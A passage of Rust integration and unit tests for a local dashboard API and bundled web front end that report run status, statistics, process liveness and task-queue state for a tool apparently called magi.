7853                "updated_at": Timestamp::now().to_string(),
7854                "idle": true,
7855                "surprise": { "nested": [1, 2, 3] },
7856            })
7857            .to_string(),
7858        )
7859        .expect("write daemon.json");
7860
7861        let health = f.get("/api/health").await;
7862
7863        assert_eq!(health.status, 200);
7864        assert_eq!(health.json()["daemon"]["running"], true);
7865    }
7866
7867    #[tokio::test]
7868    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7869        let f = Fixture::start().await;
7870        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7871        let broken = f.runs().join("20260902-140502-bad");
7872        std::fs::create_dir_all(&broken).expect("run dir");
7873        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7874
7875        let list = f.get("/api/runs").await;
7876        let detail = f.get("/api/runs/20260902-140502-bad").await;
7877
7878        assert_eq!(list.status, 200);
7879        let listed = list.json();
7880        let ids: Vec<&str> = listed
7881            .as_array()
7882            .expect("an array")
7883            .iter()
7884            .map(|r| r["id"].as_str().expect("an id"))
7885            .collect();
7886        assert_eq!(
7887            ids,
7888            vec!["20260902-140501-good"],
7889            "one unreadable run must not cost the operator the whole history"
7890        );
7891        assert_eq!(detail.status, 500);
7892        assert!(
7893            detail.json()["error"]
7894                .as_str()
7895                .is_some_and(|e| e.contains("run.json")),
7896            "the failure names the file to look at: {}",
7897            detail.body
7898        );
7899        // A skipped run has to be countable somewhere, or the UI shows an
7900        // empty history with nothing to explain it - which is exactly what a
7901        // directory full of older-schema runs looks like.
7902        let health = f.get("/api/health").await;
7903        assert_eq!(health.json()["runs_unreadable"], 1);
7904    }
7905
7906    /// The dashboard reads every run's state itself rather than trusting a
7907    /// separately-maintained count, so an unreadable run must be counted the
7908    /// same way `/api/health` counts it - never silently dropped the way the
7909    /// CLI's own `stats::load_all` drops it.
7910    #[tokio::test]
7911    async fn stats_runs_unreadable_matches_health() {
7912        let f = Fixture::start().await;
7913        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7914        let broken = f.runs().join("20260902-140502-bad");
7915        std::fs::create_dir_all(&broken).expect("run dir");
7916        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7917
7918        let stats = f.get("/api/stats").await;
7919        let health = f.get("/api/health").await;
7920
7921        assert_eq!(stats.status, 200);
7922        assert_eq!(stats.json()["totals"]["runs"], 1);
7923        assert_eq!(stats.json()["runs_unreadable"], 1);
7924        assert_eq!(
7925            stats.json()["runs_unreadable"],
7926            health.json()["runs_unreadable"],
7927            "the dashboard and /api/health must never disagree about how many \
7928             runs could not be read"
7929        );
7930    }
7931
7932    #[tokio::test]
7933    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
7934        let f = Fixture::start().await;
7935        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7936        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
7937        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
7938
7939        let totals = &f.get("/api/stats").await.json()["totals"];
7940        assert_eq!(totals["runs"], 3);
7941        assert_eq!(totals["merged"], 1);
7942        assert_eq!(totals["stalled"], 1);
7943        assert_eq!(totals["in_progress"], 1);
7944        // A stalled run must never read as blocked/merged/ready - it is its
7945        // own bucket, not folded into a "decided" one.
7946        assert_eq!(totals["blocked"], 0);
7947        assert_eq!(totals["ready"], 0);
7948    }
7949
7950    #[tokio::test]
7951    async fn stats_advisors_report_proposals_and_reflection() {
7952        use crate::advise::{Advice, AdvisorRecord, Reflection};
7953        use crate::verdict::Proposal;
7954
7955        let f = Fixture::start().await;
7956        let mut state = RunState::new(
7957            PathBuf::from("/repo/magi"),
7958            "main".to_owned(),
7959            "0123456789abcdef".to_owned(),
7960            "task".to_owned(),
7961            Config::default(),
7962        );
7963        state.id = "20260902-140501-a".to_owned();
7964        state.status = RunStatus::Merged;
7965        state.advice = Some(Advice {
7966            records: vec![
7967                AdvisorRecord {
7968                    seat: "advisor-1".to_owned(),
7969                    agent: "alpha".to_owned(),
7970                    proposal: Some(Proposal {
7971                        approach: "do it".to_owned(),
7972                        key_tradeoff: "speed over memory".to_owned(),
7973                        risks: Vec::new(),
7974                        touches: Vec::new(),
7975                        why_not_naive: "breaks under load".to_owned(),
7976                    }),
7977                    error: None,
7978                    duration_ms: 0,
7979                    reflection: Reflection::Strong,
7980                },
7981                AdvisorRecord {
7982                    seat: "advisor-2".to_owned(),
7983                    agent: "alpha".to_owned(),
7984                    proposal: None,
7985                    error: Some("timed out".to_owned()),
7986                    duration_ms: 0,
7987                    reflection: Reflection::Absent,
7988                },
7989            ],
7990            synthesis: Some("blended brief".to_owned()),
7991        });
7992        let dir = f.runs().join(&state.id);
7993        std::fs::create_dir_all(&dir).expect("run dir");
7994        std::fs::write(
7995            dir.join("run.json"),
7996            serde_json::to_string_pretty(&state).expect("serialize run"),
7997        )
7998        .expect("write run.json");
7999
8000        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
8001        let alpha = advisors
8002            .as_array()
8003            .expect("an array")
8004            .iter()
8005            .find(|a| a["agent"] == "alpha")
8006            .expect("alpha row");
8007        assert_eq!(alpha["seated"], 2);
8008        assert_eq!(alpha["proposed"], 1);
8009        assert_eq!(alpha["absent"], 1);
8010        assert_eq!(alpha["strong"], 1);
8011        assert_eq!(alpha["faint"], 0);
8012        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
8013    }
8014
8015    #[tokio::test]
8016    async fn stats_release_bumps_split_clean_from_attention() {
8017        use crate::run::ReleaseBump;
8018
8019        let f = Fixture::start().await;
8020
8021        let mut clean = RunState::new(
8022            PathBuf::from("/repo/magi"),
8023            "main".to_owned(),
8024            "0123456789abcdef".to_owned(),
8025            "task".to_owned(),
8026            Config::default(),
8027        );
8028        clean.id = "20260902-140501-a".to_owned();
8029        clean.status = RunStatus::Merged;
8030        clean.release_bump = Some(ReleaseBump {
8031            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
8032            version: Some("1.0.0".to_owned()),
8033            automerge_enabled: true,
8034            merged_directly: false,
8035            problem: None,
8036            action_required: None,
8037        });
8038
8039        let mut blocked = RunState::new(
8040            PathBuf::from("/repo/magi"),
8041            "main".to_owned(),
8042            "0123456789abcdef".to_owned(),
8043            "task".to_owned(),
8044            Config::default(),
8045        );
8046        blocked.id = "20260902-140502-b".to_owned();
8047        blocked.status = RunStatus::Merged;
8048        blocked.release_bump = Some(ReleaseBump {
8049            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
8050            version: Some("1.0.1".to_owned()),
8051            automerge_enabled: false,
8052            merged_directly: false,
8053            problem: Some("checks red".to_owned()),
8054            action_required: Some("look at the PR".to_owned()),
8055        });
8056
8057        for state in [&clean, &blocked] {
8058            let dir = f.runs().join(&state.id);
8059            std::fs::create_dir_all(&dir).expect("run dir");
8060            std::fs::write(
8061                dir.join("run.json"),
8062                serde_json::to_string_pretty(state).expect("serialize run"),
8063            )
8064            .expect("write run.json");
8065        }
8066
8067        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8068        assert_eq!(bumps["merged"], 2);
8069        assert_eq!(bumps["recorded"], 2);
8070        assert_eq!(bumps["pr_opened"], 2);
8071        assert_eq!(bumps["automerge_enabled"], 1);
8072        assert_eq!(bumps["needs_attention"], 1);
8073        assert_eq!(bumps["clean"], 1);
8074        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
8075        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
8076    }
8077
8078    #[tokio::test]
8079    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
8080        let f = Fixture::start().await;
8081        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8082
8083        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8084        assert_eq!(bumps["merged"], 1);
8085        assert_eq!(bumps["recorded"], 0);
8086        // `merged` is nonzero, so coverage still reads as a real 0%, not an
8087        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
8088        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
8089        // `pr_opened` and `recorded` are both zero here, so these rates have
8090        // no denominator to compute from and must be null.
8091        assert_eq!(bumps["automerge_rate"], Value::Null);
8092        assert_eq!(bumps["attention_rate"], Value::Null);
8093    }
8094
8095    #[tokio::test]
8096    async fn stats_queue_counts_come_from_the_live_queue() {
8097        let f = Fixture::start().await;
8098        let q = f.queue();
8099        let mut queued = Task::new(
8100            "queued task".to_owned(),
8101            "do it".to_owned(),
8102            PathBuf::from("/repo"),
8103            Source::Human,
8104        );
8105        q.put(&mut queued).expect("put queued");
8106        let mut held = Task::new(
8107            "held task".to_owned(),
8108            "do it later".to_owned(),
8109            PathBuf::from("/repo"),
8110            Source::Human,
8111        );
8112        held.hold_machine(Some("out of attempts".to_owned()));
8113        q.put(&mut held).expect("put held");
8114
8115        let queue = f.get("/api/stats").await.json()["queue"].clone();
8116        assert_eq!(queue["queued"], 1);
8117        assert_eq!(queue["held"], 1);
8118        assert_eq!(queue["running"], 0);
8119        assert_eq!(queue["done"], 0);
8120        assert_eq!(queue["failed"], 0);
8121        assert_eq!(queue["blocked"], 0);
8122    }
8123
8124    #[tokio::test]
8125    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
8126        let f = Fixture::start().await;
8127        let stats = f.get("/api/stats").await;
8128        assert_eq!(stats.status, 200);
8129        assert_eq!(stats.json()["totals"]["runs"], 0);
8130        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
8131        assert_eq!(stats.json()["runs_unreadable"], 0);
8132        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
8133        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
8134        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
8135        assert_eq!(stats.json()["repo"], Value::Null);
8136    }
8137
8138    #[tokio::test]
8139    async fn stats_lists_every_repository_with_runs_recorded() {
8140        let f = Fixture::start().await;
8141        write_run_repo(
8142            &f.runs(),
8143            "20260902-140501-a",
8144            RunStatus::Merged,
8145            "/repos/a",
8146        );
8147        write_run_repo(
8148            &f.runs(),
8149            "20260902-140502-b",
8150            RunStatus::Merged,
8151            "/repos/a",
8152        );
8153        write_run_repo(
8154            &f.runs(),
8155            "20260902-140503-c",
8156            RunStatus::Blocked,
8157            "/repos/b",
8158        );
8159
8160        let stats = f.get("/api/stats").await;
8161        assert_eq!(stats.status, 200);
8162        // Unfiltered - the aggregate across both repositories.
8163        assert_eq!(stats.json()["totals"]["runs"], 3);
8164        assert_eq!(stats.json()["repo"], Value::Null);
8165
8166        let repos = stats.json()["repos"].clone();
8167        let repos = repos.as_array().unwrap();
8168        assert_eq!(repos.len(), 2);
8169        // Busiest (2 runs) first.
8170        assert_eq!(repos[0]["repo"], "/repos/a");
8171        assert_eq!(repos[0]["name"], "a");
8172        assert_eq!(repos[0]["runs"], 2);
8173        assert_eq!(repos[1]["repo"], "/repos/b");
8174        assert_eq!(repos[1]["runs"], 1);
8175    }
8176
8177    #[tokio::test]
8178    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
8179        let f = Fixture::start().await;
8180        write_run_repo(
8181            &f.runs(),
8182            "20260902-140501-a",
8183            RunStatus::Merged,
8184            "/repos/a",
8185        );
8186        write_run_repo(
8187            &f.runs(),
8188            "20260902-140502-b",
8189            RunStatus::Blocked,
8190            "/repos/b",
8191        );
8192
8193        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
8194        assert_eq!(stats.status, 200);
8195        assert_eq!(stats.json()["totals"]["runs"], 1);
8196        assert_eq!(stats.json()["totals"]["merged"], 1);
8197        assert_eq!(stats.json()["repo"], "/repos/a");
8198        // The repository list itself is unaffected by the filter - it is
8199        // what a client switches repositories from.
8200        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
8201        // runs_unreadable is a whole-workload count, never scoped to the
8202        // selected repository - see StatsView::runs_unreadable's own doc.
8203        assert_eq!(stats.json()["runs_unreadable"], 0);
8204    }
8205
8206    #[tokio::test]
8207    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
8208        let f = Fixture::start().await;
8209        write_run_repo(
8210            &f.runs(),
8211            "20260902-140501-a",
8212            RunStatus::Merged,
8213            "/repos/a",
8214        );
8215
8216        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8217        assert_eq!(stats.status, 404);
8218    }
8219
8220    #[tokio::test]
8221    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8222        let f = Fixture::start().await;
8223        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8224
8225        let summary = f.get("/api/runs").await.json();
8226        let row = &summary[0];
8227        assert_eq!(row["short"], "a1b2");
8228        assert_eq!(row["status"], "ready");
8229        assert_eq!(row["done"], true);
8230        assert_eq!(row["title"], "Add a web UI");
8231        assert_eq!(row["repo_name"], "magi");
8232        assert_eq!(row["judges"], 3);
8233        assert_eq!(row["winner"], Value::Null);
8234        assert_eq!(row["reviews"], 0);
8235
8236        // The short id resolves, and the detail route is the state itself, not
8237        // a projection of it: the UI reads fields the summary does not carry.
8238        let detail = f.get("/api/runs/a1b2").await;
8239        assert_eq!(detail.status, 200);
8240        assert_eq!(detail.json()["base_branch"], "main");
8241        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8242    }
8243
8244    /// `status: "ready"` alone cannot tell a run still headed for a landing
8245    /// (a PR closed without merging, say) apart from one `[merge] mode =
8246    /// "none"` left unmerged for good — the confusion the operator flagged
8247    /// after the CLI report already grew a `not landed — nothing to do by
8248    /// design` line for exactly this case (`report.rs`). Both the list route
8249    /// and the detail route must carry a flag the phone can key on instead of
8250    /// re-deriving it from `status` + `merge.mode` itself.
8251    #[tokio::test]
8252    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8253        let f = Fixture::start().await;
8254
8255        let mut none_run = RunState::new(
8256            PathBuf::from("/repo/magi"),
8257            "main".to_owned(),
8258            "0123456789abcdef".to_owned(),
8259            "Add a web UI".to_owned(),
8260            Config::default(),
8261        );
8262        none_run.id = "20260902-140503-none".to_owned();
8263        none_run.status = RunStatus::Ready;
8264        none_run.merge = Some(crate::run::MergeOutcome {
8265            mode: crate::config::MergeMode::None,
8266            ok: true,
8267            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8268            empty: false,
8269        });
8270        write_state(&f.runs(), &none_run);
8271
8272        let mut pr_run = RunState::new(
8273            PathBuf::from("/repo/magi"),
8274            "main".to_owned(),
8275            "0123456789abcdef".to_owned(),
8276            "Add a web UI".to_owned(),
8277            Config::default(),
8278        );
8279        pr_run.id = "20260902-140504-prcl".to_owned();
8280        pr_run.status = RunStatus::Ready;
8281        pr_run.merge = Some(crate::run::MergeOutcome {
8282            mode: crate::config::MergeMode::Pr,
8283            ok: false,
8284            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8285            empty: false,
8286        });
8287        write_state(&f.runs(), &pr_run);
8288
8289        let summary = f.get("/api/runs").await.json();
8290        let rows: std::collections::HashMap<&str, &Value> = summary
8291            .as_array()
8292            .expect("an array")
8293            .iter()
8294            .map(|r| (r["id"].as_str().expect("an id"), r))
8295            .collect();
8296        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8297        assert_eq!(
8298            rows[none_run.id.as_str()]["unmerged_by_design"],
8299            true,
8300            "a mode-none Ready must be flagged in the list"
8301        );
8302        assert_eq!(
8303            rows[pr_run.id.as_str()]["unmerged_by_design"],
8304            false,
8305            "a Ready reached by a closed pull request is a different case"
8306        );
8307
8308        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8309        assert_eq!(none_detail["status"], "ready");
8310        assert_eq!(none_detail["unmerged_by_design"], true);
8311
8312        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8313        assert_eq!(pr_detail["unmerged_by_design"], false);
8314    }
8315
8316    /// `RunState::active` is only ever cleared by whoever populated it, so the
8317    /// detail route also has to say whether a daemon is actually still
8318    /// driving this run right now — otherwise a seat from a killed process's
8319    /// last wave would read as live forever.
8320    #[tokio::test]
8321    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8322        let f = Fixture::start().await;
8323        // Matches `write_daemon`'s hard-coded `current.run`, so the second
8324        // half of this test can claim the daemon is working on it without a
8325        // second helper.
8326        let id = "20260902-140502-bbbb";
8327        let mut state = RunState::new(
8328            PathBuf::from("/repo/magi"),
8329            "main".to_owned(),
8330            "0123456789abcdef".to_owned(),
8331            "Add a web UI".to_owned(),
8332            Config::default(),
8333        );
8334        state.id = id.to_owned();
8335        state.status = RunStatus::Judging;
8336        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8337        let dir = f.runs().join(id);
8338        std::fs::create_dir_all(&dir).expect("run dir");
8339        std::fs::write(
8340            dir.join("run.json"),
8341            serde_json::to_string_pretty(&state).expect("serialize run"),
8342        )
8343        .expect("write run.json");
8344
8345        // No daemon.json at all, and no `driver_pid` recorded either (this
8346        // state was written directly, never through `execute()`): there is
8347        // nothing to confirm either way, so the route must say `"unknown"` —
8348        // never `"dead"`, which is exactly the false diagnosis a manual `magi
8349        // run` used to get from this route before `driver_pid` existed.
8350        let cold = f.get(&format!("/api/runs/{id}")).await.json();
8351        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8352        assert_eq!(cold["live"], "unknown", "{cold}");
8353
8354        // A fresh heartbeat naming exactly this run: the same entry now reads
8355        // as confirmed, not merely recorded.
8356        write_daemon(f.home.path(), Timestamp::now());
8357        let warm = f.get(&format!("/api/runs/{id}")).await.json();
8358        assert_eq!(warm["live"], "live", "{warm}");
8359    }
8360
8361    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
8362    /// review` claims no daemon at all, so before this field existed the
8363    /// route above read it as `"dead"` — indistinguishable from a run a
8364    /// killed process abandoned — the whole time it was genuinely still
8365    /// answering. With a live pid recorded, it must read `"live"` even
8366    /// though no daemon claims it.
8367    #[tokio::test]
8368    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8369        let f = Fixture::start().await;
8370        let id = "20260922-090000-cccc";
8371        let mut state = RunState::new(
8372            PathBuf::from("/repo/magi"),
8373            "main".to_owned(),
8374            "0123456789abcdef".to_owned(),
8375            "Review only".to_owned(),
8376            Config::default(),
8377        );
8378        state.id = id.to_owned();
8379        state.status = RunStatus::Reviewing;
8380        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8381        // This test process's own pid: guaranteed alive, and never needs a
8382        // real daemon or a second process to prove it. The matching start-time
8383        // marker is what `liveness` now requires alongside a live pid — see
8384        // `RunState::driver_started_at`'s own doc for why the pid alone is
8385        // not enough.
8386        state.driver_pid = Some(std::process::id());
8387        state.driver_started_at = Some(
8388            crate::proc::process_started_at(std::process::id())
8389                .expect("this test process's own start time must be queryable"),
8390        );
8391        let dir = f.runs().join(id);
8392        std::fs::create_dir_all(&dir).expect("run dir");
8393        std::fs::write(
8394            dir.join("run.json"),
8395            serde_json::to_string_pretty(&state).expect("serialize run"),
8396        )
8397        .expect("write run.json");
8398
8399        let detail = f.get(&format!("/api/runs/{id}")).await.json();
8400        assert_eq!(detail["live"], "live", "{detail}");
8401    }
8402
8403    /// A killed manual run's pid can be handed to a wholly unrelated later
8404    /// process — a live query on `driver_pid` alone would read this as
8405    /// `"live"`, exactly the false positive `driver_started_at` exists to
8406    /// catch (see that field's own doc, and `RunState::liveness_with`'s
8407    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
8408    #[tokio::test]
8409    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8410        let f = Fixture::start().await;
8411        let id = "20260922-090100-dddd";
8412        let mut state = RunState::new(
8413            PathBuf::from("/repo/magi"),
8414            "main".to_owned(),
8415            "0123456789abcdef".to_owned(),
8416            "Review only".to_owned(),
8417            Config::default(),
8418        );
8419        state.id = id.to_owned();
8420        state.status = RunStatus::Reviewing;
8421        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8422        // This test process's own pid really is alive, but the marker
8423        // recorded here does not match what it actually started at —
8424        // standing in for the pid having since been reused by a different
8425        // process than the one that wrote `run.json`.
8426        state.driver_pid = Some(std::process::id());
8427        state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8428        let dir = f.runs().join(id);
8429        std::fs::create_dir_all(&dir).expect("run dir");
8430        std::fs::write(
8431            dir.join("run.json"),
8432            serde_json::to_string_pretty(&state).expect("serialize run"),
8433        )
8434        .expect("write run.json");
8435
8436        let detail = f.get(&format!("/api/runs/{id}")).await.json();
8437        assert_eq!(detail["live"], "dead", "{detail}");
8438    }
8439
8440    /// The deck's competition list is normally the first place an operator
8441    /// sees an old run. It must carry the same process verdict as detail, or
8442    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
8443    #[test]
8444    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8445        let mk = |id: &str, pid: Option<u32>| {
8446            let mut s = RunState::new(
8447                PathBuf::from("/repo/magi"),
8448                "main".to_owned(),
8449                "0123456789abcdef".to_owned(),
8450                "Add a web UI".to_owned(),
8451                Config::default(),
8452            );
8453            s.id = id.to_owned();
8454            s.driver_pid = pid;
8455            s.driver_started_at = Some("t0".to_owned());
8456            s
8457        };
8458        let states = vec![
8459            mk("20260902-140502-aaaa", Some(77)),
8460            mk("20260902-140502-bbbb", Some(77)),
8461            mk("20260902-140502-cccc", Some(77)),
8462            mk("20260902-140502-dddd", None),
8463        ];
8464        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8465        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8466        let sup: HashMap<String, String> = [(
8467            "20260902-140502-aaaa".to_owned(),
8468            "20260902-140502-cccc".to_owned(),
8469        )]
8470        .into();
8471
8472        let status_calls = std::cell::Cell::new(0);
8473        let identity_calls = std::cell::Cell::new(0);
8474        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8475            |_| {
8476                status_calls.set(status_calls.get() + 1);
8477                Some(true)
8478            },
8479            |_| {
8480                identity_calls.set(identity_calls.get() + 1);
8481                Some("t0".to_owned())
8482            },
8483        ));
8484        let rows = summarize(
8485            states,
8486            &open,
8487            &claimed,
8488            &sup,
8489            |p| probe.borrow_mut().status(p),
8490            |p| probe.borrow_mut().started_at(p),
8491        );
8492
8493        assert_eq!(status_calls.get(), 1, "one pid, one status query");
8494        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8495        assert_eq!(rows.len(), 4);
8496        assert!(!rows[0].waiting && rows[1].waiting);
8497        assert_eq!(rows[0].live, crate::run::Liveness::Live);
8498        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8499        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8500        assert_eq!(rows[1].superseded_by, None);
8501    }
8502
8503    #[test]
8504    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8505        let mut state = RunState::new(
8506            PathBuf::from("/repo/magi"),
8507            "main".to_owned(),
8508            "0123456789abcdef".to_owned(),
8509            "Review only".to_owned(),
8510            Config::default(),
8511        );
8512        state.id = "20260922-090200-dead".to_owned();
8513        state.status = RunStatus::Reviewing;
8514        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8515            .expect("serialize list row");
8516        assert_eq!(row["status"], "reviewing");
8517        assert_eq!(row["live"], "dead", "{row}");
8518        assert!(!row["done"].as_bool().unwrap());
8519    }
8520
8521    #[tokio::test]
8522    async fn the_run_list_is_newest_first_and_honours_a_limit() {
8523        let f = Fixture::start().await;
8524        for id in [
8525            "20260902-140501-aaaa",
8526            "20260902-140502-bbbb",
8527            "20260902-140503-cccc",
8528        ] {
8529            write_run(&f.runs(), id, RunStatus::Merged);
8530        }
8531
8532        let all = f.get("/api/runs").await.json();
8533        let capped = f.get("/api/runs?limit=2").await.json();
8534
8535        assert_eq!(all[0]["id"], "20260902-140503-cccc");
8536        assert_eq!(all.as_array().map(Vec::len), Some(3));
8537        assert_eq!(capped.as_array().map(Vec::len), Some(2));
8538        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8539    }
8540
8541    #[tokio::test]
8542    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8543        let f = Fixture::start().await;
8544        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8545
8546        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8547
8548        assert_eq!(res.status, 200);
8549        assert!(
8550            res.headers
8551                .contains("content-type: text/plain; charset=utf-8"),
8552            "a browser must render it, not download it: {}",
8553            res.headers
8554        );
8555        // The assertion is on content, not on the absence of escapes: colour
8556        // is a process-global that `serve` turns off at startup, and another
8557        // test in this binary may own it while this one runs.
8558        assert!(
8559            res.body.contains("20260902-140501-a1b2"),
8560            "the report is about the run that was asked for: {}",
8561            res.body
8562        );
8563    }
8564
8565    #[tokio::test]
8566    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8567        let f = Fixture::start().await;
8568
8569        let html = f.get("/").await;
8570        let css = f.get("/app.css").await;
8571        let js = f.get("/app.js").await;
8572
8573        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8574        assert!(
8575            html.headers
8576                .contains("content-type: text/html; charset=utf-8")
8577        );
8578        assert!(css.headers.contains("content-type: text/css"));
8579        assert!(js.headers.contains("content-type: text/javascript"));
8580        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8581    }
8582
8583    #[test]
8584    fn live_runs_are_never_hidden_or_folded_as_superseded() {
8585        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
8586        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
8587        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
8588        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
8589    }
8590
8591    #[test]
8592    fn review_rounds_label_a_distinct_verified_head() {
8593        assert!(APP_JS.contains("round.verified_head"));
8594        assert!(APP_JS.contains("verified HEAD"));
8595        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8596    }
8597
8598    #[test]
8599    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8600        // A blocked task's chip and note must not fall back to a queued-like
8601        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
8602        // itself by e11fc58 but never checked here.
8603        assert!(APP_JS.contains("blocked: { glyph:"));
8604        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8605
8606        // `blocked_by` mixes task ids and question ids in the same list, and
8607        // the client can only tell them apart by checking each id against
8608        // what it actually knows - never by guessing from the id's shape.
8609        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8610        assert!(
8611            APP_JS.contains(
8612                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8613            ),
8614            "the note line must name what a blocked task is waiting on, not just that it is blocked"
8615        );
8616        // The classification must key off `status_str`, never off `blocked_by`
8617        // or `block_reason` merely being present - both can survive briefly
8618        // on a task a hold or a dead daemon just moved off `blocked`.
8619        assert!(APP_JS.contains("if (status === \"blocked\") {"));
8620
8621        // A question a task is blocked on gets its own node in the same
8622        // dependency graph, not just a task-shaped node with nothing known
8623        // about it.
8624        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8625        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8626        assert!(
8627            APP_JS.contains("location.hash = \"#/questions\";"),
8628            "a question node must jump to the Questions screen, not pretend to be a task"
8629        );
8630
8631        // `Task::answers` - decisions already made - are shown as a record on
8632        // the card, the same disclosure style as the full instruction.
8633        assert!(APP_JS.contains("Resolved questions"));
8634        assert!(APP_JS.contains("r.answersList.append("));
8635        assert!(APP_CSS.contains(".task-answers"));
8636        {
8637            let start = APP_JS
8638                .find("function updateTalkTaskRow")
8639                .expect("updateTalkTaskRow");
8640            let body = &APP_JS[start..start + 900];
8641            assert!(body.contains("task.runs[") || body.contains("runs[runs.length - 1]"));
8642            assert!(body.contains("setAttr(r.link, \"href\""));
8643            assert!(body.contains(
8644                "latest ? `#/runs/${latest}` : `#/queue/${encodeURIComponent(task.id)}`"
8645            ));
8646            assert!(
8647                !body.contains(": \"#/queue\""),
8648                "a task with no run must link to its own queue card, not the bare queue"
8649            );
8650            assert!(APP_CSS.contains(".talk-task-link"));
8651        }
8652    }
8653
8654    #[test]
8655    fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8656        // A `kind: "task"` notice link used to drop the id on the floor and
8657        // point at `#/queue` outright, so every task notification landed on
8658        // whatever happened to be first in the Backlog rather than the task
8659        // it was actually about.
8660        assert!(
8661            APP_JS.contains(
8662                "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8663            ),
8664            "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8665        );
8666        assert!(
8667            !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8668            "regression: the task link must not go back to naming the bare Backlog route"
8669        );
8670
8671        // The route parser has to read that id back out before applyRoute()
8672        // can do anything with it.
8673        assert!(
8674            APP_JS.contains(
8675                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8676            ),
8677            "`#/queue/<id>` must parse into a route carrying that id"
8678        );
8679
8680        // And the Backlog view has to actually land on the card once it can
8681        // - see consumeQueueFocus(), which renderQueue() calls on every pass
8682        // so a focus set before the queue has loaded is retried once it has.
8683        assert!(APP_JS.contains("state.queueFocus = route.id;"));
8684        assert!(APP_JS.contains("function consumeQueueFocus()"));
